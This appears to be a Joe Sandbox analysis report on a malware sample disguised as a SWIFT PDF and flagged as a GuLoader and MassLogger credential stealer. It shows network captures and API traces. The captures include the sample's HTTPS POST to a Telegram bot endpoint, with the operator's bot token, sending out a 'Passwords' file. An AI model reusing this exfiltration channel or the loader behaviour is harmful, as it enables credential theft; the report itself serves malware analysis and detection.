2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 18 b0 13 58 db 8d 03 32 06 3f b6 08 5c 5d ae 18 5b d0 9a dc f0 a9 18 59 44 83 7a b9 70 5c be d1 f7 9a 88 2b 49 37 fe 64 92 fe 52 65 20 fd 39 0d f9 15 24 ee c7 50 7b 8d 8d cc 86 6b 3f 1d f6 5b e7 86 14 7e 69 3c 21 48 d0 5a 86 2b c8 50 eb d6 e1 37 27 21 17 94 81 08 56 cf ff fa 68 1b df fa b7 c9 c1 a9 db 3c f8 2e 30 65 77 ab 98 f0 d7 29 a7 16 6b 77 51 88 b6 1a 20 46 12 58 68 2c e6 4c 95 cb 98 7f 7f 54 9c a3 d1 e2 07 b4 ad 29 db d7 42 5b d5 b7 58 ac a6 52 c7 1d 65 9d 6f 2a 90 aa 22 83 d3 9e 5b f3 74 03 bc a8 8a d3 c2 ae 28 a5 88 09 88 1d 9d 8d fb ce 73 29 90 7b 88 d8 79 b0 81 6e a9 d9 65 e0 32 c9 a0 14 35 47 fd 01 ea ec c6 02 92 2f b6 6e 82 64 d8 49 70 5c ae 1e e6 df da 05 56 15 e7 df 00 29 56 4a 11 59 88 70 63 96 66 90 ab 3d 06 9b 24 ae 62 a5 9b 45 1c 87 b0 Data Ascii: X2?\][YDzp\+I7dRe 9$P{k?[~i<!HZ+P7'!Vh<.0ew)kwQ FXh,LT)B[XReo*"[t(s){yne25G/ndIp\V)VJYpcf=$bE
2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 5f 55 e1 79 a6 24 6d 60 22 59 68 d5 23 d3 ce 3c 66 cb 37 32 eb c6 38 2b 8f e2 8c 14 93 eb 56 a0 b5 e7 ae 2f d1 52 01 4e eb 13 d2 e9 ec a4 df 6e be db 43 cf f8 b8 df 3d d6 9a 94 ac dc d1 c7 df 1e 5d cc 79 05 d6 74 ba 4e b5 84 65 a5 9f 44 68 af 49 b8 2b 9b bc 27 c6 03 34 de 0a 34 42 75 48 b4 b1 53 4e 6e c6 31 b7 c8 92 ac cf 9e af 48 95 a9 cf 91 3a 96 49 24 63 59 cf 1c 6b 7e 07 30 c6 08 12 d3 c1 12 15 6b b6 e5 8e 34 47 a6 7a 84 8b 63 07 1a b1 ee 5b 6f 91 36 32 f8 16 17 ba cb de 4f 38 9e 01 b3 ac 2a 0d 5e a8 85 f7 a5 7c 98 bf 71 8d 18 16 92 b5 0d 69 86 4e 1a 50 07 5c f9 b0 a3 e9 d4 3b eb 54 0f f1 c1 5c 8b ba b3 d5 cd d9 6a 0f 42 84 e1 8a 94 67 c9 e3 00 38 93 b9 0d af 81 2d 2f 2b c8 94 9c f8 67 d0 59 e7 4b 40 fa 39 5c 5b e7 04 f3 52 2e 71 b8 80 1d d1 77 b9 66 Data Ascii: _Uy$m`"Yh#<f728+V/RNnC=]ytNeDhI+'44BuHSNn1H:I$cYk~0k4Gzc[o62O8*^\|qiNP\;T\jBg8-/+gYK@9\[R.qwf
2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 4d 82 8c 21 22 fb f2 1c df 62 1c ac 70 8b b7 6c 08 35 a0 30 2c 14 d5 57 bc 65 67 d4 b6 a9 5e f2 87 61 04 24 5b 1e 13 70 76 54 5e 0b 48 0a 47 c5 ea b8 ba 39 4d a7 f7 3a fb dd ce 95 55 c4 98 11 c0 cf f8 59 9d a3 52 b8 2c 54 30 06 1d 2d 43 f5 c8 24 12 b8 25 37 02 8b 19 72 5f 32 33 25 8f f4 bb d2 5a 87 1d e7 57 14 a6 58 4f 44 a6 47 a3 91 78 7f 5d a8 d0 82 29 94 10 78 a4 5f 32 de 15 0b eb c4 f2 1f 9a 65 ca 23 c1 11 5e 4b cc f8 b3 01 8a fb ac b9 42 11 aa 7c b7 da 09 30 16 6f a6 fc b6 59 fa 60 48 99 c3 17 fc ef af f7 d9 d2 9f 2f 27 bc 1e 11 b4 8a 04 4b 88 cb cd f6 38 25 25 ff 42 36 26 fd 34 6b 2c 76 3a 4d 16 59 ed f0 91 cc 9c 74 0f 2b 24 79 70 c3 02 87 30 aa 57 a5 5c f2 97 4c 77 16 3f ee 57 eb 2f 05 32 ca 4b 3d 4e c7 eb e8 d3 78 cc af 78 c4 6b eb b2 ca d5 c1 e3 Data Ascii: M!"bpl50,Weg^a$[pvT^HG9M:UYR,T0-C$%7r_23%ZWXODGx])x_2e#^KB\|0oY`H/'K8%%B6&4k,v:MYt+$yp0W\Lw?W/2K=Nxxk
2024-12-15 17:29:50 UTC	1390	IN	Data Raw: 13 6d 1e fd 77 b1 63 45 03 e1 f7 10 cf 8d 9e 34 7a 7d 65 5f 29 af ea f5 4e f0 bf 57 fd a8 ab 51 7c d3 22 5d 02 09 b1 c9 cc 97 2b ec db b9 d0 2c 28 cf 94 6e 24 45 82 52 bf 45 97 b3 5b e2 74 28 cc cd fc 48 c9 2c c3 eb 91 84 b7 2e 61 60 73 fa 6e 8e e9 25 1a c2 07 38 ba 04 37 96 88 46 d8 09 d8 f7 90 92 f4 2f 5f 91 be 5f 20 31 57 42 88 ab 9c 3e 8f 13 15 08 af 5d ac ad 67 a3 a3 0b 85 1c 11 2a 12 6a d8 eb 23 6e 07 99 c1 ed 06 ee 07 3b 69 b6 5e fa 33 4b c3 b6 8d 0b 1c 63 41 c4 2b b0 7a d8 c7 50 c5 26 03 5a 90 a2 7c 55 e9 8d bd 14 15 01 aa 60 2b 59 03 ad 58 71 69 d8 f4 d0 e8 01 25 bd 1b e4 92 b2 c2 3e 6f 5e 81 e5 cf 15 7b 2f 30 b8 0e 38 9f 74 6f 89 63 e9 13 fb 9a 80 3f bd bc 5b cf a0 4c 67 33 bb 64 d5 3b a3 b0 8b 1e a9 58 94 f9 dc 3d db d5 d4 21 de c5 27 ed 31 78 Data Ascii: mwcE4z}e_)NWQ\|"]+,(n$ERE[t(H,.a`sn%87F/__ 1WB>]g*j#n;i^3KcA+zP&Z\|U`+YXqi%>o^{/08toc?[Lg3d;X=!'1x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49865	104.21.67.152	443	6020	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 17:29:55 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-15 17:29:55 UTC	882	IN	HTTP/1.1 200 OK Date: Sun, 15 Dec 2024 17:29:55 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 272564 Last-Modified: Thu, 12 Dec 2024 13:47:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sMoNB5FhF4fh1f7rL1cGmtBoOKSu%2BY1IhG7riJuP2x6a%2FHGhThm5n7liE9B%2BOa3ebaedLn0AT4TldBjrQdj42Vt%2BmEG68FSX4OnkQt%2BjFsz565ZRiwfkypagu1tujiLBoW%2Fxsugk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f28289b3ddc32e4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1853&min_rtt=1842&rtt_var=712&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1512953&cwnd=162&unsent_bytes=0&cid=8a8482a131993af5&ts=465&x=0"
2024-12-15 17:29:55 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49885	149.154.167.220	443	6020	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-15 17:30:05 UTC	295	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1d0431f11147 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-15 17:30:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 64 30 34 33 31 66 31 31 31 34 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1d0431f11147Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-15 17:30:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 15 Dec 2024 17:30:06 GMT Content-Type: application/json Content-Length: 542 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-15 17:30:06 UTC	542	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 30 39 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 32 38 33 38 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":10952,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1734283806,"document":{"file_n

Target ID:	0
Start time:	12:27:56
Start date:	15/12/2024
Path:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"
Imagebase:	0x400000
File size:	484'309 bytes
MD5 hash:	E47D302AD20A15E7C4816B5E7B236699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2618839198.0000000003647000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:29:31
Start date:	15/12/2024
Path:	C:\Users\user\Desktop\SWIFT09181-24_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"
Imagebase:	0x400000
File size:	484'309 bytes
MD5 hash:	E47D302AD20A15E7C4816B5E7B236699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.4%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	20.8%
Total number of Nodes:	1517
Total number of Limit Nodes:	47

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

.tmp, xrefs: 0040363F
NSIS Error, xrefs: 00403341
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D
TMP, xrefs: 00403512
"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe", xrefs: 00403356, 0040335C, 00403553
Low, xrefs: 004034F8
SETUPAPI, xrefs: 004032FB
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004035D3
SeShutdownPrivilege, xrefs: 0040374D
Error launching installer, xrefs: 004035AD
\Temp, xrefs: 004034DC
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
USERENV, xrefs: 004032F1
UXTHEME, xrefs: 004032E7
C:\Users\user\Desktop\SWIFT09181-24_pdf.exe, xrefs: 004036D6
~nsu, xrefs: 00403623
TEMP, xrefs: 0040350A
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
1033, xrefs: 00403526

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\SWIFT09181-24_pdf.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-669638185
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

M, xrefs: 00404CDA
, xrefs: 004050E9
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 004058DA
